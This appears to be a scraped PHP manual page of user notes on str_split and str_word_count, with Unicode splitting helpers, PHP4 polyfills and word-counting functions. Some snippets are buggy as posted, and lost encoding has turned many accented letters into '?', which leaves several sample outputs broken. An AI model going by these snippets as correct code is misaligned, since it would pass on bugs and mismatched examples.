I'm not sure if this can be considered a bug, since this is due to how type conversion and casting works, so i just posted it here.
I've notced that this is how strval() works. Can anyone shed light into this?..
robert dot johnson at icap dot com 11-Sep-2014 02:38
<?php
/* Another implementation of str_split_unicode: */
function str_split_unicode($str, $l = 0)
{
    return preg_split('/(.{'.$l.'})/us', $str, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
}
?>
qeremy [atta] gmail [dotta] com 19-Sep-2013 08:31
A new version of "str_split_unicode" prev.

<?php
function str_split_unicode($str, $length = 1) {
    $tmp = preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY);
    if ($length > 1) {
        $chunks = array_chunk($tmp, $length);
        foreach ($chunks as $i => $chunk) {
            $chunks[$i] = join('', (array) $chunk);
        }
        $tmp = $chunks;
    }
    return $tmp;
}
?>

$s = '?zgür Yaz?l?m!'; // Open Source!

print_r(str_split_unicode($s));
print_r(str_split_unicode($s, 3));

Array
(
    [0] => ?
    [1] => z
    [2] => g
    [3] => ü
    [4] => r
    [5] =>
    [6] => Y
    [7] => a
    [8] => z
    [9] => ?
    [10] => l
    [11] => ?
    [12] => m
    [13] => !
)
Array
(
    [0] => ?zg
    [1] => ür
    [2] => Yaz
    [3] => ?l?
    [4] => m!
)
jakub dot lopuszanski at nasza-klasa dot pl 05-Jul-2013 01:38
To split UTF-8 into 16-charcater slices you can use:
<?php
preg_split('/(?=(.{16})*$)/u', $text);
?>
You can also use look-behind instead of look-ahead if you want the first (not the last) chunk to be the shortest.
stlawson AT JoyfulEarthTech DOT com 28-Apr-2013 06:48
The documentation fails to mention what happens when the string length does not divide evenly with the chunk size.  Not sure if the same behavior for all versions of PHP so I offer the following code to determine this for your installation.  On mine [version 5.2.17], the last chunk is an array the length of the remaining chars.

<?php

$da_string = "When number of chars does't divide evenly";
$len = strlen($da_string);
$chunk_size = 8;
echo "<p> Length of <span style='font-family:monospace'>$da_string</span>: $len</p>\n";
echo "<p> Chunck size: $chunk_size</p>\n";
$parts = str_split($da_string, $chunk_size);
$html = "<table border='5' cellpadding='3' cellspacing='4'>\n";
foreach ($parts as $idx=>$part)
{
   $html .= "<tr>\n";
   $html .= "<td style='font-family:monospace'>$part</td>";
   $chars = str_split($part);
   foreach ($chars as $char)
   {
       if ($char === ' ')
       {
           $html .= "<td>&nbsp;</td>";
       }
       else
       {
           $html .= "<td>$char</td>";
       }
   }
   $html .= "</tr>\n";
}
$html .= "</table>\n";
echo $html;
?>
Anonymous 08-Jun-2012 01:02
A little one-liner that came in handy. I thought i'd share for those who want to split a string into two parts by the given offset.

<?php

    /**
    * Split a string into two parts at offset.
    *
    * @param    string    $string
    * @param    integer    $offset
    * @return    mixed    array and bool(false) if offset is out of scope
    */

function str_osplit($string, $offset){
    return isset($string[$offset]) ? array(substr($string, 0, $offset), substr($string, $offset)) : false;
    }

$str = "Split a string into two parts at offset";
var_dump(str_osplit($str, 12));

/**
* Output:
array(2) {
  [0]=>
  string(12) "Split a stri"
  [1]=>
  string(27) "ng into two parts at offset"
}
*/

?>
qeremy [atta] gmail [dotta] com 24-Feb-2012 12:23
A proper unicode string split;

<?php
function str_split_unicode($str, $l = 0) {
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
?>

$s = "Il?k süt"; // Mild milk

print_r(str_split($s, 3));
print_r(str_split_unicode($s, 3));

Array
(
    [0] => Il?
    [1] => ?k
    [2] => sü
    [3] => t
)

Array
(
    [0] => Il?
    [1] => k s
    [2] => üt
)
anon 15-Jun-2010 08:53
I needed a function that could split a string from the end with any left over chunk being at the beginning of the array (the beginning of the string).

<?php
function str_rsplit($str, $sz)
{
    // splits a string "starting" at the end, so any left over (small chunk) is at the beginning of the array.
    if ( !$sz ) { return false; }
    if ( $sz > 0 ) { return str_split($str,$sz); }    // normal split

    $l = strlen($str);
    $sz = min(-$sz,$l);
    $mod = $l % $sz;

    if ( !$mod ) { return str_split($str,$sz); }    // even/max-length split

    // split
    return array_merge(array(substr($str,0,$mod)), str_split(substr($str,$mod),$sz));
}

$str = 'aAbBcCdDeEfFg';
str_split($str,5); // return: {'aAbBc','CdDeE','fFg'}
str_rsplit($str,5); // return: {'aAbBc','CdDeE','fFg'}
str_rsplit($str,-5); // return: {'aAb','BcCdD','eEfFg'}

?>
seebz.net 03-May-2010 06:27
here an equivalent function for unicode string :

<?php
function uni_strsplit($string, $split_length=1)
{
    preg_match_all('`.`u', $string, $arr);
    $arr = array_chunk($arr[0], $split_length);
    $arr = array_map('implode', $arr);
    return $arr;
}
nemostein at hotmail dot com 28-Aug-2009 11:51
The manual don't says what is returned when you parse a different type of variable.

This is the example:

<?php

$str1 = "Long"; // More than 1 char
$str2 = "x"; // Only 1 char
$str3 = ""; // Empty String
$str4 = 34; // Integer
$str5 = 3.4; // Float
$str6 = true; // Bool
$str7 = null; // Null

$spl1 = str_split($str1);
$spl2 = str_split($str2);
$spl3 = str_split($str3);
$spl4 = str_split($str4);
$spl5 = str_split($str5);
$spl6 = str_split($str6);
$spl7 = str_split($str7);

echo count($spl1); // 4
echo count($spl2); // 1
echo count($spl3); // 1
echo count($spl4); // 2
echo count($spl5); // 3
echo count($spl6); // 1
echo count($spl7); // 1

print_r($spl1);
print_r($spl2);
print_r($spl3);
print_r($spl4);
print_r($spl5);
print_r($spl6);
print_r($spl7);

/*

Array
(
    [0] => L
    [1] => o
    [2] => n
    [3] => g
)
Array
(
    [0] => x
)
Array
(
    [0] =>
)
Array
(
    [0] => 3
    [1] => 4
)
Array
(
    [0] => 3
    [1] => .
    [2] => 4
)
Array
(
    [0] => 1
)
Array
(
    [0] =>
)

*/

?>
mattias at lsahlin dot se 19-Mar-2009 06:46
For those it may concern:

We encountered trubble when trying to str_split a UTF-8 encoded string, containing such Swedish letters as ?, ? and ?.

It seems that this function splits according to byte-length and not character length. So if the letter "?" takes 2 bytes, then str_split() will only return the first bite of the character "?".

We ain't 100% sure that this is the case but this was anyhow the result we got. So we used the multi-byte functions instead.
thax 23-Nov-2008 06:44
Regarding ricordatis comment on preg_match_all('/./u',...) instead of preg_split('//u',...):
You'll have to use the pattern '/./us' with preg_match_all to get exactly the same behaviour w.r.t. newlines. Don't know if this is still faster, though. Oh, and the expected result is in $array[0].
rrelmy 04-Aug-2008 07:20
revised function from tatsudoshi

Fixed some bugs, more php5 style compliant
<?php
if(!function_exists('str_split')) {
    function str_split($string,$string_length=1) {
        if(strlen($string)>$string_length || !$string_length) {
            do {
                $c = strlen($string);
                $parts[] = substr($string,0,$string_length);
                $string = substr($string,$string_length);
            } while($string !== false);
        } else {
            $parts = array($string);
        }
        return $parts;
    }
}
?>
ricordati at web dot de 01-Aug-2008 07:21
To split unicode text, preg_match_all('/./u', $text, $array); seems faster for large strings than the use of preg_split('//u', $text); suggested by "edgaras dot janusauskas at gmail dot com" below.
vec [ at t] g dot com 21-Jun-2008 08:38
the fastast way (that fits my needs) to replace str_split() in php 4 i found is this:

<?php
if(!function_exists('str_split')) {
  function str_split($string, $split_length = 1) {
    $array = explode("\r\n", chunk_split($string, $split_length));
    array_pop($array);
    return $array;
  }
}
?>

i also tested the provided functions in the comments..

(the differences are 0.001 to 0.00001 sec)
saeedco 21-May-2008 03:20
This function supportes utf8

(improvement of function str_split_php4)

i tried this function successfully with these languages
1- Chinese
2- Japanese
3- Arabic
4- Turkish
5- Urdu
6- Russian
7- Persian

<?php
function str_split_php4_utf8($str) {
    // place each character of the string into and array
    $split=1;
    $array = array();
    for ( $i=0; $i < strlen( $str ); ){
        $value = ord($str[$i]);
        if($value > 127){
            if($value >= 192 && $value <= 223)
                $split=2;
            elseif($value >= 224 && $value <= 239)
                $split=3;
            elseif($value >= 240 && $value <= 247)
                $split=4;
        }else{
            $split=1;
        }
            $key = NULL;
        for ( $j = 0; $j < $split; $j++, $i++ ) {
            $key .= $str[$i];
        }
        array_push( $array, $key );
    }
    return $array;
}
?>
lskatz at gmail dot com 07-May-2008 11:42
A good use of str_split is reverse translating an amino acid sequence.

<?php
/* reverse translate an aa sequence using its dna counterpart */
function reverseTranslate($aaSeq,$ntSeq){
  $nt=str_split($ntSeq,3);
  $aa=str_split($aaSeq,1);
  $gapChar=array('*','-');

  $numAa=count($aa);
  $ntIndex=0;
  $newNtSeq="";
  for($i=0;$i<$numAa;$i++){
    // if the aa is a gap, then just put on a gap character
    if(in_array($aa[$i],$gapChar)){
      $newNtSeq.='---';
    }
    else{
      $newNtSeq.=$nt[$ntIndex];
      $ntIndex++;
    }
  }
  return $newNtSeq;
}
?>
kevin at metalaxe dot com 14-Mar-2008 08:49
Response to "Richard Ayotte 18-Jan-2008 09:27":

Slight tweak to prevent the need to call another preg_replace, there were also some bugs in this that I'm surprised didn't get noticed (causing duplicate replaces between the preg_replace calls) :)

Please feel free to optimize further. I'm not the best with lookahead/behinds yet. I also removed the :upper/lower: and it seemed to speed things up too.

<?php
$test = 'CustomerIDWithSomeOtherJETWords';

preg_replace('/(?!^)[A-Z]{2,}(?=[A-Z][a-z])|[A-Z][a-z]/', ' $0', $test));
?>

Shaves off a little time anyway. :)
Anonymous 03-Jan-2008 12:04
Version of str_split by rlpvandenberg at hotmail dot com is god-damn inefficient and when $i+$j > strlen($text) [last part of string] throws a lot of notice errors. This should work better:

    if(! function_exists('str_split'))
    {
        function str_split($text, $split = 1)
        {
            $array = array();

            for ($i = 0; $i < strlen($text);)
            {
                $array[] = substr($text, $i, $split);
                $i += $split;
            }

            return $array;
        }
    }
rlpvandenberg at hotmail dot com 19-Dec-2007 11:22
The previous suggestion is almost correct (and will only working for strlen=1. The working PHP4 function is:

<code>
function str_split($text, $split = 1){
    //place each character of the string into and array
    $array = array();
    for ($i=0; $i < strlen($text); $i++){
        $key = "";
        for ($j = 0; $j < $split; $j++){
            $key .= $text[$i+$j];
        }
        $i = $i + $j - 1;
        array_push($array, $key);
    }
    return $array;
}
</code>
mohd at ba7rain dot net 29-Nov-2007 02:24
this function can perform a reverse str_split. I write it for PHP4 but you can rename It for other versions..

if ( !function_exists('str_split') ) {
function str_split($string,$split_length=1){
    $sign = (($split_length<0)?-1:1);
    $strlen = strlen($string);
    $split_length = abs($split_length);
    if ( ($split_length==0) || ($strlen==0) ){
            $result = false;
            //$result[] = "";
    }
    elseif ($split_length >= $strlen){
        $result[] = $string;
    }
    else {
        $length = $split_length;
        for ($i=0; $i<$strlen; $i++){
            $i=(($sign<0)?$i+$length:$i);
            $result[] = substr($string,$sign*$i,$length);
            $i--;
            $i=(($sign<0)?$i:$i+$length);
            if ( ($i+$split_length) > ($strlen) ){
                $length = $strlen-($i+1);
            }
            else {
                $length = $split_length;
            }
        }
    }
    return $result;
}
}
atolia at gmail----- dot com 10-Nov-2007 01:48
i use this in PHP4

function str_split($str){
   return preg_split('//',$str);
}
magisano at cs dot unibo dot it 06-Nov-2007 08:14
Even shorter version:

//place each character (or group of) of the
string into and array

function str_split_php4($sText, $iSplit = 1)
{
    $iSplit=(integer) $iSplit;       // sanity check
    if ($iSplit < 1) {  return false; }
    $aResult = array();
    for($i=0, $limit=strlen($sText); $i < $limit; $i+=$iSplit) {
        $aResult[]=substr($sText, $i, $iSplit);
    }
    return $aResult;
}
dacmeaux at gmail dot com 01-Nov-2007 01:57
I was looking for a function that would split a string into an array like str_split() and found Razor's function above. Just though that I would simplify the code a little.

<?php
function str_split_php4($text, $split = 1){
    //place each character of the string into and array
    $array = array();
    for($i=0; $i < strlen($text); $i++){
        $key = NULL;
        for ($j = 0; $j < $split; $j++){
            $key .= $text[$i];
        }
        array_push($array, $key);
    }
    return $array;
}
?>

Both mine and worksRazor's work well, I just prefer to use less code. I could have written one myself, but I was just being lazy.
Sam 25-Sep-2007 01:24
A good way to use this method to convert CamelCase text into nice text would be-

<?php
        /**
         Returns a formatted string based on camel case.
         e.g. "CamelCase" -> "Camel Case".
        */
        function FormatCamelCase( $string ) {
                $output = "";
                foreach( str_split( $string ) as $char ) {
                        strtoupper( $char ) == $char and $output and $output .= " ";
                        $output .= $char;
                }
                return $output;
        }
?>
kjensen at iaff106 dot com 11-Aug-2007 12:59
Here is what I use. I started with examples here but modified to my own version:

<?php
if (phpversion () < "5"){ // define PHP5 functions if server uses PHP4

function str_split($text, $split = 1)
{
if (!is_string($text)) return false;
if (!is_numeric($split) && $split < 1) return false;
$len = strlen($text);
$array = array();
$s = 0;
$e=$split;
while ($s <$len)
    {
        $e=($e <$len)?$e:$len;
        $array[] = substr($text, $s,$e);
        $s = $s+$e;
    }
return $array;
}
}
?>
l0c4lh0st DOT nl AT gmail DOT com 12-Jun-2007 05:28
how I can conwert
$string
 '1, 2, 5, 6, 10, 13, 23'
from ENUM at mySQL to

$array
[0] -> false
[1] -> true
[2] -> true
[3] -> false
[4] -> false
[5] -> true
[6] -> true
[7] -> false
[8] -> false
[9] -> false
[10] -> true
[11] -> false
[12] -> false
[13] -> true
[14] -> false
[15] -> false
...
[23] -> true

<?php
function enum_to_array($psEnum)
{
    $aReturn = array();
    $aTemp = explode(', ', $psEnum);
    for ($i = $aTemp[0]; $i <= $aTemp[count($aTemp)-1]; $i++)
    {
        $aReturn[$i] = in_array($i, $aTemp);
    }
}
?>
Razor 10-May-2007 12:02
heres my version for php4 and below

<?php

function str_split_php4($text, $split = 1)
{
    if (!is_string($text)) return false;
    if (!is_numeric($split) && $split < 1) return false;

    $len = strlen($text);

    $array = array();

    $i = 0;

    while ($i < $len)
    {
        $key = NULL;

        for ($j = 0; $j < $split; $j += 1)
        {
            $key .= $text{$i};

            $i += 1;
        }

        $array[] = $key;
    }

    return $array;
}

?>
webmaster at nsssa dot ca 28-Oct-2006 07:45
I noticed in the post below me that his function would return an array with an empty key at the end.

So here is just a little fix for it.

<?php

//Create a string split function for pre PHP5 versions
function str_split($str, $nr) {

     //Return an array with 1 less item then the one we have
     return array_slice(split("-l-", chunk_split($str, $nr, '-l-')), 0, -1);

}

?>
fstorm2 at gmail dot com 29-Aug-2006 02:08
If you use PHP 4 and don't need the split_length parameter, here's the shortest replacement:

<?php

preg_split('#(?<=.)(?=.)#s', $str);

?>
malmsteenforce at tlen dot pl 19-Jul-2006 10:52
<?
//fast & short version od str_split

function string_split($str)
      {
        $str_array=array();
        $len=strlen($str);
        for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
        return $str_array;
       }
//example :
var_dump (string_split("split this"));
?>
user at mockme dot com 25-Mar-2006 05:53
found this great example on a php board for those not using php5, as an alternative to the posts below this

<?php
if(!function_exists('str_split')){
    function str_split($string,$split_length=1){
        $count = strlen($string);
        if($split_length < 1){
            return false;
        } elseif($split_length > $count){
            return array($string);
        } else {
            $num = (int)ceil($count/$split_length);
            $ret = array();
            for($i=0;$i<$num;$i++){
                $ret[] = substr($string,$i*$split_length,$split_length);
            }
            return $ret;
        }
    }
}
?>
heavyraptor 10-Mar-2006 02:07
I think that the last post by carlosreche at yahoo dot com is too complicated.
It's much easier if you do it like this:

<?php
if (!function_exists("str_split")) {
  function str_split($str,$length = 1) {
    if ($length < 1) return false;
    $strlen = strlen($str);
    $ret = array();
    for ($i = 0; $i < $strlen; $i += $length) {
     $ret[] = substr($str,$i,$length);
    }
    return $ret;
  }
}
?>

I hope it helps for those with PHP <5
carlosreche at yahoo dot com 15-Feb-2006 04:23
For those who work with PHP < 5:

<?php

if (!function_exists("str_split")) {
    function str_split($string, $length = 1) {
        if ($length <= 0) {
            trigger_error(__FUNCTION__."(): The the length of each segment must be greater then zero:", E_USER_WARNING);
            return false;
        }
        $splitted  = array();
        $str_length = strlen($string);
        $i = 0;
        if ($length == 1) {
            while ($str_length--) {
                $splitted[$i] = $string[$i++];
            }
        } else {
            $j = $i;
            while ($str_length > 0) {
                $splitted[$j++] = substr($string, $i, $length);
                $str_length -= $length;
                $i += $length;
            }
        }
        return $splitted;
    }
}

?>
Hage Yaapa 04-Feb-2006 06:27
The very handy str_split() was introduced in PHP 5, but a lot of us are still forced to use PHP 4 at our host servers. And I am sure a lot of beginners have looked or are looking for a function to accomplish what str_split() does.

Taking advantge of the fact that strings are 'arrays' I wrote this tiny but useful e-mail cloaker in PHP, which guarantees functionality even if JavaScript is disabled in the client's browser. Watch how I make up for the lack of str_split() in PHP 4.3.10.

<?php

// cloackEmail() accepts a string, the email address to be cloaked
function cloakEmail($email) {

// We create a new array called $arChars, which will contain the individula characters making up the email address. The array is blank for now.
    $arChars = array();

// We extract each character from the email 'exploiting' the fact that strings behave like an array: watch the '$email[$i]' bit, and beging to fill up the blank array $arChars
    for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }

// Now we work on the $arChars array: extract each character in the array and print out it's ASCII value prefixed with '&#' to convert it into an HTML entity
    foreach ($arChars as $char) { print '&#'.ord($char); }

// The result is an email address in HTML entities which, I hope most email address harvesters can't read.

}
print cloakEmail('someone@nokikon.com');
?>

###### THE CODE ABOVE WITHOUT COMMENTS ######

<?php
function cloakEmail($email) {
    $arChars = array();
    for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }
    foreach ($arChars as $char) { print '&#'.ord($char); }
}
print cloakEmail('someone@nokikon.com');
?>
In creating this little utility, I demonstrated how the lack of str_split() can be made up in PHP < 5. If you got how it was accomplished, you could write a function to do exactly what str_split() does in PHP 5 and even name it 'str_split()'. :)


返回字符串中单词的使用情况

  • ? str_split
  • strcasecmp ?
  • PHP Manual
  • 字符串 函数
  • 返回字符串中单词的使用情况

str_word_count

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

str_word_count — 返回字符串中单词的使用情况

说明

str_word_count ( string $string [, int $format = 0 [, string $charlist ]] ) : mixed

统计 string 中单词的数量。如果可选的参数 format 没有被指定，那么返回值是一个代表单词数量的整型数。如果指定了 format 参数，返回值将是一个数组，数组的内容则取决于 format 参数。format 的可能值和相应的输出结果如下所列。

对于这个函数的目的来说，单词的定义是一个与区域设置相关的字符串。这个字符串可以包含字母字符，也可以包含 "'" 和 "-" 字符（但不能以这两个字符开始）。

参数

string

字符串。

format

指定函数的返回值。当前支持的值如下：

  • 0 - 返回单词数量
  • 1 - 返回一个包含 string 中全部单词的数组
  • 2 - 返回关联数组。数组的键是单词在 string 中出现的数值位置，数组的值是这个单词

charlist

附加的字符串列表，其中的字符将被视为单词的一部分。

返回值

返回一个数组或整型数，这取决于 format 参数的选择。

更新日志

版本 | 说明
5.1.0 | 新增 charlist 参数。

范例

Example #1 str_word_count() 范例

<?php

$str = "Hello fri3nd, you're
       looking          good today!";

print_r(str_word_count($str, 1));
print_r(str_word_count($str, 2));
print_r(str_word_count($str, 1, 'àá??3'));

echo str_word_count($str);

?>

以上例程会输出：

Array
(
    [0] => Hello
    [1] => fri
    [2] => nd
    [3] => you're
    [4] => looking
    [5] => good
    [6] => today
)

Array
(
    [0] => Hello
    [6] => fri
    [10] => nd
    [14] => you're
    [29] => looking
    [46] => good
    [51] => today
)

Array
(
    [0] => Hello
    [1] => fri3nd
    [2] => you're
    [3] => looking
    [4] => good
    [5] => today
)

7

参见

  • explode() - 使用一个字符串分割另一个字符串
  • preg_split() - 通过一个正则表达式分隔字符串
  • split() - 用正则表达式将字符串分割到数组中
  • count_chars() - 返回字符串所用字符的信息
  • substr_count() - 计算字串出现的次数

User Contributed Notes

php dot net at salagir dot com 08-Jan-2018 04:09
This function doesn't handle  accents, even in a locale with accent.
<?php
echo str_word_count("Is working"); // =2

setlocale(LC_ALL, 'fr_FR.utf8');
echo str_word_count("Not w?rking"); // expects 2, got 3.
?>

Cito solution treats punctuation as words and thus isn't a good workaround.
<?php
function str_word_count_utf8($str) {
      return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
echo str_word_count_utf8("Is w?rking"); //=2
echo str_word_count_utf8("Not w?rking."); //=3
?>

My solution:
<?php
function str_word_count_utf8($str) {
    $a = preg_split('/\W+/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    return count($a);
}
echo str_word_count_utf8("Is w?rking"); // = 2
echo str_word_count_utf8("Is w?rking! :)"); // = 2
?>
jak74 at interia dot pl 10-Jul-2016 10:20
// split the phrase by any number of commas or space characters,
// which include " ", \r, \t, \n and \f

$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
broncha at rajesharma dot com 19-Jun-2015 07:01
Turns out the charlist is set by default for the web. For example, the string

Copyright &copy; ABC Ltd.

is 3 words in the cli and 4 words if executing in web context.
uri at speedy dot net 15-Aug-2012 07:08
Here is a count words function which supports UTF-8 and Hebrew. I tried other functions but they don't work. Notice that in Hebrew, '"' and '\'' can be used in words, so they are not separators. This function is not perfect, I would prefer a function we are using in JavaScript which considers all characters except [a-zA-Z?-?0-9_\'\"] as separators, but I don't know how to do it in PHP.

I removed some of the separators which don't work well with Hebrew ("\x20", "\xA0", "\x0A", "\x0D", "\x09", "\x0B", "\x2E"). I also removed the underline.

This is a fix to my previous post on this page - I found out that my function returned an incorrect result for an empty string. I corrected it and I'm also attaching another function - my_strlen.

<?php

function count_words($string) {
    // Return the number of words in a string.
    $string= str_replace("&#039;", "'", $string);
    $t= array(' ', "\t", '=', '+', '-', '*', '/', '\\', ',', '.', ';', ':', '[', ']', '{', '}', '(', ')', '<', '>', '&', '%', '$', '@', '#', '^', '!', '?', '~'); // separators
    $string= str_replace($t, " ", $string);
    $string= trim(preg_replace("/\s+/", " ", $string));
    $num= 0;
    if (my_strlen($string)>0) {
        $word_array= explode(" ", $string);
        $num= count($word_array);
    }
    return $num;
}

function my_strlen($s) {
    // Return mb_strlen with encoding UTF-8.
    return mb_strlen($s, "UTF-8");
}

?>
cito at wikatu dot com 03-Feb-2012 09:29
<?php

/***
 * This simple utf-8 word count function (it only counts)
 * is a bit faster then the one with preg_match_all
 * about 10x slower then the built-in str_word_count
 *
 * If you need the hyphen or other code points as word-characters
 * just put them into the [brackets] like [^\p{L}\p{N}\'\-]
 * If the pattern contains utf-8, utf8_encode() the pattern,
 * as it is expected to be valid utf-8 (using the u modifier).
 **/

// Jonny 5's simple word splitter
function str_word_count_utf8($str) {
  return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
?>
Samer Ata 05-Jan-2012 09:21
This is my own version of to get SEO meta description from wordpress post content. it is also generic usage function to get the first n words from a string.

<?php
function my_meta_description($text,$n=10)
{
$text=strip_tags($text);  // not neccssary for none HTML
// $text=strip_shortcodes($text); // uncomment only inside wordpress system
$text = trim(preg_replace("/\s+/"," ",$text));
$word_array = explode(" ", $text);
if (count($word_array) <= $n)
return implode(" ",$word_array);
else
{
$text='';
foreach ($word_array as $length=>$word)
{
    $text.=$word ;
    if($length==$n) break;
    else $text.=" ";
}
}
return $text;
?>
matthewkastor at live dot com 05-Apr-2011 07:08
This needs improvement, but works well as is.

<?php
/**
 * Generates an alphabetical index of unique words, and a count of their occurrences, in a file.
 *
 * This works on html pages or plain text files.
 * This function uses file_get_contents, so it
 * is possible to use a url instead of a local filename.
 *
 * Change the search pattern at
 * <code> $junk = preg_match('/[^a-zA-Z]/', $word); </code>
 * if you want to keep words with numbers or other characters. The pattern
 * I've set searches for anything that is not an upper or lowercase letter,
 * you may want something else.
 *
 * The array returned will look something like this:
 * <code>
 * Array
 * (
 *     [0] => Array
 *        (
 *            [word] => a
 *            [count] => 21
 *        )
 *
 *     [1] => Array
 *        (
 *            [word] => ability
 *            [count] => 1
 *        )
 * )
 * </code>
 *
 * @param string $file The file ( or url ) you want to create an index from.
 * @return array
 */
function index_page($file) {
    $index = array();
    $find = array(
        '/\r/',
        '/\n/',
        '/\s\s+/'
    );
    $replace = array(
        ' ',
        ' ',
        ' '
    );
    $work = file_get_contents($file);
    $work = preg_replace('/[>][<]/', '> <', $work);
    $work = strip_tags($work);
    $work = strtolower($work);
    $work = preg_replace($find, $replace, $work);
    $work = trim($work);
    $work = explode(' ', $work);
    natcasesort($work);
    $i = 0;
    foreach($work as $word) {
        $word = trim($word);
        $junk = preg_match('/[^a-zA-Z]/', $word);
        if($junk == 1) {
            $word = '';
        }
        if( (!empty($word)) && ($word != '') ) {
            if(!isset($index[$i]['word'])) { // if not set this is a new index
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            } elseif( $index[$i]['word'] == $word ) {  // count repeats
                $index[$i]['count'] += 1;
            } else { // else this is a different word, increment $i and create an entry
                $i++;
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            }
        }
    }
    unset($work);
    return($index);
}
?>

example usage:

<?php
$file = 'http://www.php.net/';
// or use a local file, see file_get_contents() for valid filenames and restrictions.

$index = index_page($file);
echo '<pre>'.print_r($index,true).'</pre>';
?>
dmVuY2lAc3RyYWhvdG5pLmNvbQ== (base64) 18-Oct-2010 04:39
to count words after converting a msword document to plain text with antiword, you can use this function:

<?php
function count_words($text) {
    $text = str_replace(str_split('|'), '', $text); // remove these chars (you can specify more)
    $text = trim(preg_replace('/\s+/', ' ', $text)); // remove extra spaces
    $text = preg_replace('/-{2,}/', '', $text); // remove 2 or more dashes in a row
    $len = strlen($text);

    if (0 === $len) {
        return 0;
    }

    $words = 1;

    while ($len--) {
        if (' ' === $text[$len]) {
            ++$words;
        }
    }

    return $words;
}
?>

it strips the pipe "|" chars, which antiword uses to format tables in its plain text output, removes more than one dashes in a row (also used in tables), then counts the words.

counting words using explode() and then count() is not a good idea for huge texts, because it uses much memory to store the text once more as an array. this is why i'm using while() { .. } to walk the string
lballard dot cat at gmail dot com 26-Sep-2010 08:17
word limiter:

<?php
$str = "my hella long string" ;
$length = 3;
$shortened =
implode(' ',array_slice(str_word_count($str,1),0,$length));
?>
brettz9 - see yahoo 12-Feb-2010 11:33
Words also cannot end in a hyphen unless allowed by the charlist...
charliefrancis at gmail dot com 29-Jul-2009 04:56
Hi this is the first time I have posted on the php manual, I hope some of you will like this little function I wrote.

It returns a string with a certain character limit, but still retaining whole words.
It breaks out of the foreach loop once it has found a string short enough to display, and the character list can be edited.

<?php
function word_limiter( $text, $limit = 30, $chars = '0123456789' ) {
    if( strlen( $text ) > $limit ) {
        $words = str_word_count( $text, 2, $chars );
        $words = array_reverse( $words, TRUE );
        foreach( $words as $length => $word ) {
            if( $length + strlen( $word ) >= $limit ) {
                array_shift( $words );
            } else {
                break;
            }
        }
        $words = array_reverse( $words );
        $text = implode( " ", $words ) . '&hellip;';
    }
    return $text;
}

$str = "Hello this is a list of words that is too long";
echo '1: ' . word_limiter( $str );
$str = "Hello this is a list of words";
echo '2: ' . word_limiter( $str );
?>

1: Hello this is a list of words&hellip;
2: Hello this is a list of words
jazz090 13-Apr-2009 10:39
Personally, I dont like using this function becuase the characters it omits are sometime nessesery for instance MS Word counts ">" or "<" alone as single word where this function doesnt. I like using this however, it counts EVERYTHING:

<?php
function num_words($string){
    preg_match_all("/\S+/", $string, $matches);
    return count($matches[0]);
}
?>
splogamurugan at gmail dot com 05-Feb-2009 02:32
We can also specify a range of values for charlist.

<?php
$str = "Hello fri3nd, you're
       looking          good today!
       look1234ing";
print_r(str_word_count($str, 1, '0..3'));
?>

will give the result as

Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today [6] => look123 [7] => ing )
eanimator at yahoo dot com 11-Jan-2009 12:37
My quick and rough wordLimiter function.

<?php
function WordLimiter($text,$limit=20){
    $explode = explode(' ',$text);
    $string  = '';

    $dots = '...';
    if(count($explode) <= $limit){
        $dots = '';
    }
    for($i=0;$i<$limit;$i++){
        $string .= $explode[$i]." ";
    }

    return $string.$dots;
}
?>
manrash at gmail dot com 22-Dec-2008 03:06
For spanish speakers a valid character map may be:

<?php
$characterMap = 'áéíóúü?';

$count = str_word_count($text, 0, $characterMap);
?>
Adeel Khan 08-Dec-2007 08:01
<?php

/**
 * Returns the number of words in a string.
 * As far as I have tested, it is very accurate.
 * The string can have HTML in it,
 * but you should do something like this first:
 *
 *    $search = array(
 *      '@<script[^>]*?>.*?</script>@si',
 *      '@<style[^>]*?>.*?</style>@siU',
 *      '@<![\s\S]*?--[ \t\n\r]*>@'
 *    );
 *    $html = preg_replace($search, '', $html);
 *
 */

function word_count($html) {

  # strip all html tags
  $wc = strip_tags($html);

  # remove 'words' that don't consist of alphanumerical characters or punctuation
  $pattern = "#[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]+#";
  $wc = trim(preg_replace($pattern, " ", $wc));

  # remove one-letter 'words' that consist only of punctuation
  $wc = trim(preg_replace("#\s*[(\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]\s*#", " ", $wc));

  # remove superfluous whitespace
  $wc = preg_replace("/\s\s+/", " ", $wc);

  # split string into an array of words
  $wc = explode(" ", $wc);

  # remove empty elements
  $wc = array_filter($wc);

  # return the number of words
  return count($wc);

}

?>
joshua dot blake at gmail dot com 02-Mar-2007 05:02
I needed a function which would extract the first hundred words out of a given input while retaining all markup such as line breaks, double spaces and the like. Most of the regexp based functions posted above were accurate in that they counted out a hundred words, but recombined the paragraph by imploding an array down to a string. This did away with any such hopes of line breaks, and thus I devised a crude but very accurate function which does all that I ask it to:

<?php
function Truncate($input, $numWords)
{
  if(str_word_count($input,0)>$numWords)
  {
    $WordKey = str_word_count($input,1);
    $PosKey = str_word_count($input,2);
    reset($PosKey);
    foreach($WordKey as $key => &$value)
    {
        $value=key($PosKey);
        next($PosKey);
    }
    return substr($input,0,$WordKey[$numWords]);
  }
  else {return $input;}
}
?>

